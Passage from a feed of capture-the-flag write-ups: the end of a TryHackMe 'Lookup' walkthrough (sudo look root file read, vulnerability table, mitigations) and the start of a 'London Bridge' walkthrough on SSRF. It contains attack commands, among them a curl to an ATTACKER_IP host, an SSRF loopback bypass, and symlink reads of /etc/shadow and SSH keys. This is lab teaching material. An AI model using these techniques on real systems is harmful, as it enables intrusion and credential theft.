  
  
  User flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;think@ip-&amp;lt;MACHINE_IP&amp;gt;:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;user.txt
&amp;lt;REDACTED&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  7. Privilege Escalation - sudo look
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;think@ip-&amp;lt;MACHINE_IP&amp;gt;:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User think may run the following commands on ip-&amp;lt;MACHINE_IP&amp;gt;:
    (ALL) /usr/bin/look
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;look&lt;/code&gt; normally searches &lt;code&gt;/usr/share/dict/words&lt;/code&gt; for lines starting with a given string, taking the dictionary file as an optional second argument. Direct attempts fail because the default dictionary doesn't exist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo&lt;/span&gt; /usr/bin/look /root/root.txt
look: /usr/share/dict/words: No such file or directory
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Passing an empty search string with the target file as the "dictionary" argument makes &lt;code&gt;look&lt;/code&gt; dump the entire file instead of searching it (documented GTFOBins technique for &lt;code&gt;look&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;think@ip-&amp;lt;MACHINE_IP&amp;gt;:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;look &lt;span class="s1"&gt;''&lt;/span&gt; /root/root.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Root flag
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;REDACTED&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This grants arbitrary root-owned file read, which is sufficient here to retrieve the flag (not a full root shell).&lt;/p&gt;

&lt;h2&gt;
  
  
  8. Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Username enumeration via differing login error messages&lt;/td&gt;
&lt;td&gt;&lt;code&gt;login.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Reveals valid usernames, enables targeted credential brute force&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Weak password policy&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;jose&lt;/code&gt; account&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;password123&lt;/code&gt; cracked from rockyou.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;elFinder 2.1.47 exiftran command injection&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;files.lookup.thm&lt;/code&gt; PHP connector&lt;/td&gt;
&lt;td&gt;Unauthenticated RCE as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Predictable personal password scheme&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;think&lt;/code&gt;'s &lt;code&gt;.passwords&lt;/code&gt; / SSH&lt;/td&gt;
&lt;td&gt;SSH access via crafted wordlist&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Sudoers misconfiguration - &lt;code&gt;look&lt;/code&gt; with no argument restriction&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/sudoers&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Arbitrary root-owned file read via GTFOBins technique&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  9. Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Login page (lookup.thm)
    |
    |-- error-message oracle -&amp;gt; username enumeration (hydra) -&amp;gt; "jose"
    |-- rockyou.txt brute force -&amp;gt; jose:password123
    v
Authenticated redirect -&amp;gt; files.lookup.thm (elFinder 2.1.47)
    |
    |-- Metasploit: elfinder_php_connector_exiftran_cmd_injection
    v
Meterpreter / shell as www-data
    |
    |-- find /home/think/.passwords (unreadable) + pwm SUID hints at naming scheme
    |-- custom wordlist -&amp;gt; hydra ssh -&amp;gt; think:josemario.AKA(think)
    v
Shell as think -&amp;gt; user.txt
    |
    |-- sudo -l -&amp;gt; (ALL) /usr/bin/look
    |-- sudo look '' /root/root.txt  (GTFOBins file-read primitive)
    v
root.txt read
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  10. Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Return an identical, generic error message ("Invalid username or password") regardless of whether the username exists, to eliminate the enumeration oracle.&lt;/li&gt;
&lt;li&gt;Enforce password complexity/length and rate-limit or lock out repeated failed login attempts (both on the web login form and SSH).&lt;/li&gt;
&lt;li&gt;Upgrade elFinder past 2.1.47 / patch the exiftran connector, or remove exiftran-dependent image editing features entirely; keep third-party file-manager components under active patch management.&lt;/li&gt;
&lt;li&gt;Do not derive user passwords from predictable personal-detail patterns; a password manager or company-issued high-entropy credential removes this class of guessable password entirely.&lt;/li&gt;
&lt;li&gt;Restrict sudoers entries to fully-qualified commands with fixed arguments (e.g. via a wrapper script), or avoid granting sudo on generic text-processing utilities like &lt;code&gt;look&lt;/code&gt;, &lt;code&gt;more&lt;/code&gt;, &lt;code&gt;less&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt;, etc., all of which have known GTFOBins abuse primitives.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>TryHackMe : The London Bridge writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 11 Aug 2026 04:11:48 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-the-london-bridge-writeup-3cf4</link>
      <guid>https://dev.to/exploitnotes/tryhackme-the-london-bridge-writeup-3cf4</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;The London Bridge&lt;/code&gt; is built around a Flask "Explore London" gallery app served behind Gunicorn. A hidden &lt;code&gt;/view_image&lt;/code&gt; endpoint takes a form-encoded URL and fetches it server-side - classic SSRF - but the visible &lt;code&gt;image_url&lt;/code&gt; parameter isn't the one actually wired up in the code; fuzzing form field names is needed to discover the real parameter is &lt;code&gt;www&lt;/code&gt;. The app blocks &lt;code&gt;localhost&lt;/code&gt;/&lt;code&gt;127.0.0.1&lt;/code&gt;/&lt;code&gt;0.0.0.0&lt;/code&gt; by string-matching the URL, which is trivially bypassed using the alternate loopback representation &lt;code&gt;http://0/&lt;/code&gt;. That SSRF is then pointed at a &lt;strong&gt;root-owned Python &lt;code&gt;http.server&lt;/code&gt; bound to 127.0.0.1:80&lt;/strong&gt; running from the target's own home directory, which - because it runs as root - happily serves files regardless of normal Unix permissions. Reading &lt;code&gt;.ssh/id_rsa&lt;/code&gt; through the SSRF gives a private key, and its &lt;code&gt;authorized_keys&lt;/code&gt; comment identifies the right user (&lt;code&gt;beth&lt;/code&gt;) to use it with, for direct SSH access. From there, symlink tricks (&lt;code&gt;ln -s /root root_dir_link&lt;/code&gt;, &lt;code&gt;ln -s /etc/shadow shadow_link&lt;/code&gt;, &lt;code&gt;ln -s /home/charles charles_dir&lt;/code&gt;) combined with the same root-run HTTP server + SSRF let us read &lt;code&gt;/etc/shadow&lt;/code&gt;, a root-only flag file, and another user's entire Firefox profile - all without ever needing an actual root shell. The Firefox profile is decrypted locally (after working around a binary-corruption issue caused by proxying binary files through Flask's &lt;code&gt;requests.get().text&lt;/code&gt;) to recover a saved browser credential.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -&amp;gt; SSH (22) + Gunicorn "Explore London" app (8080)
   |
/gallery -&amp;gt; image upload form, .php upload blocked by PIL-based image validation
   |
Hidden /view_image endpoint -&amp;gt; visible "image_url" field does nothing; ffuf discovers real param is "www"
   |
Confirmed SSRF: www=http://&amp;lt;ATTACKER_IP&amp;gt;/evil.php -&amp;gt; server fetches attacker URL
   |
is_local() filter blocks literal "localhost"/"127.0.0.1"/"0.0.0.0" strings
   |
Bypass with alternate loopback notation: www=http://0/...
   |
SSRF reaches a root-run "python3 -m http.server 80 --bind 127.0.0.1" serving beth's home dir
   |
Read .ssh/id_rsa + .ssh/authorized_keys (comment: beth@london) via SSRF -&amp;gt; SSH as beth
   |
app.py source confirms the "www" param + is_local() filter -&amp;gt; user.txt flag
   |
ss/ps aux confirms root owns the internal port-80 http.server
   |
Symlink tricks (root_dir_link -&amp;gt; /root, shadow_link -&amp;gt; /etc/shadow, charles_dir -&amp;gt; /home/charles)
   |
SSRF + root-run http.server reads ANY file on disk regardless of Unix perms
   |
Root flag + full /etc/shadow dump + charles' entire Firefox profile, all without a root shell
   |
Firefox profile decrypted locally -&amp;gt; Charles' saved browser credential
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class="nt"&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cisco_ios"&gt;&lt;code&gt;&lt;span class="k"&gt;PORT&lt;/span&gt;     STATE SERVICE VERSION
&lt;span class="k"&gt;22/tcp&lt;/span&gt;   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
&lt;span class="k"&gt;| ssh-hostkey:&lt;/span&gt;
&lt;span class="k"&gt;|   2048&lt;/span&gt; 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
&lt;span class="k"&gt;|   256&lt;/span&gt; 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
&lt;span class="k"&gt;|_&lt;/span&gt;  256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
&lt;span class="k"&gt;8080/tcp&lt;/span&gt; open  http    Gunicorn
&lt;span class="k"&gt;|_http-title:&lt;/span&gt; Explore London
&lt;span class="k"&gt;|_http-server-header:&lt;/span&gt; gunicorn
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;:8080/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Explore London&lt;span class="nt"&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
...
&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Welcome to Explore London&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;nav&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Home&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Attractions&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"#"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Events&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/gallery"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Gallery&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"/contact"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Contact&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/nav&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;whatweb http://&amp;lt;MACHINE_IP&amp;gt;:8080/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://&amp;lt;MACHINE_IP&amp;gt;:8080/ [200 OK] HTML5, HTTPServer[gunicorn], Title[Explore London]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The gallery page has an upload form:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;:8080/gallery
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;London Gallery&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"container"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"image"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/uploads/www.usnews.jpeg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"www.usnews.jpeg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"image"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/uploads/04.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"04.jpg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"image"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/uploads/Untitled.png"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Untitled.png"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"image"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/uploads/images.jpeg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"images.jpeg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"image"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/uploads/e3.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"e3.jpg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"image"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/uploads/caption.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"caption.jpg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;img&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"image"&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"/uploads/Thames.jpg"&lt;/span&gt; &lt;span class="na"&gt;alt=&lt;/span&gt;&lt;span class="s"&gt;"Thames.jpg"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;h5&amp;gt;&lt;/span&gt;Visited London recently? Contribute to the gallery&lt;span class="nt"&gt;&amp;lt;/h5&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"POST"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"/upload"&lt;/span&gt; &lt;span class="na"&gt;enctype=&lt;/span&gt;&lt;span class="s"&gt;"multipart/form-data"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"file"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"file"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Upload"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class="c"&gt;&amp;lt;!--To devs: Make sure that people can also add images using links--&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That HTML comment - &lt;em&gt;"Make sure that people can also add images using links"&lt;/em&gt; - is a strong hint that a URL-based image feature exists somewhere, even if it's not linked from this page.&lt;/p&gt;

&lt;p&gt;Directory brute-force confirmed the visible routes and turned up two 405-responding endpoints (&lt;code&gt;GET&lt;/code&gt; not allowed, meaning they expect &lt;code&gt;POST&lt;/code&gt;):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://&amp;lt;MACHINE_IP&amp;gt;:8080/ &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;200      GET       54l      125w     1722c http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/gallery
&lt;span class="gp"&gt;200      GET       59l      127w     1703c http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/contact
&lt;span class="gp"&gt;200      GET       82l      256w     2682c http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/
&lt;span class="gp"&gt;405      GET        4l       23w      178c http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/feedback
&lt;span class="gp"&gt;405      GET        4l       23w      178c http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/upload
&lt;span class="gp"&gt;200      GET      ...       http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/uploads/images.jpeg
&lt;span class="gp"&gt;200      GET      ...       http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/uploads/e3.jpg
&lt;span class="gp"&gt;200      GET      ...       http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/uploads/caption.jpg
&lt;span class="gp"&gt;200      GET      ...       http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/uploads/04.jpg
&lt;span class="gp"&gt;200      GET      ...       http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/uploads/www.usnews.jpeg
&lt;span class="gp"&gt;200      GET      ...       http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/uploads/Thames.jpg
&lt;span class="gp"&gt;200      GET      ...       http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/uploads/Untitled.png
&lt;span class="gp"&gt;405      GET        4l       23w      178c http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/view_image
&lt;span class="gp"&gt;200      GET       32l       67w      823c http://&amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;:8080/dejaview
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/view_image&lt;/code&gt; and &lt;code&gt;/upload&lt;/code&gt; both need &lt;code&gt;POST&lt;/code&gt;. Tried uploading a plain PHP web shell first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;i tried uploading a php but no use
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed why by reading &lt;code&gt;app.py&lt;/code&gt; later - uploads are validated with Pillow (&lt;code&gt;Image.open(...).verify()&lt;/code&gt;), so anything that isn't a real image gets deleted server-side immediately after upload.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vulnerability Discovery: SSRF via /view_image (wrong parameter first)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;/view_image&lt;/code&gt; renders a form with a field named &lt;code&gt;image_url&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"/view_image"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"image_url"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Enter Image URL:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"image_url"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"image_url"&lt;/span&gt; &lt;span class="na"&gt;required&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"View Image"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Submitting a URL through the browser form and watching the Network tab (screenshot) showed the POST body actually being sent was &lt;code&gt;image_url: "/uploads/Thames.jpg"&lt;/code&gt; - and the response just echoed the field back into the page without fetching anything server-side. The visible field alone doesn't drive any SSRF behavior on its own.&lt;/p&gt;

&lt;p&gt;Testing directly with curl against the visible field name also went nowhere useful:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;:8080/view_image &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/x-www-form-urlencoded'&lt;/span&gt; &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'www=http://&amp;lt;ATTACKER_IP&amp;gt;/evil.php'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;View Image&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"/view_image"&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;label&lt;/span&gt; &lt;span class="na"&gt;for=&lt;/span&gt;&lt;span class="s"&gt;"image_url"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Enter Image URL:&lt;span class="nt"&gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&lt;/span&gt;
    ...
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No fetch happened yet - &lt;code&gt;-F&lt;/code&gt; sends multipart form data, not &lt;code&gt;application/x-www-form-urlencoded&lt;/code&gt; despite the header, so the field was never actually parsed as expected by the server. Fuzzed the parameter &lt;strong&gt;name&lt;/strong&gt; itself against the endpoint to find what it actually expects:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
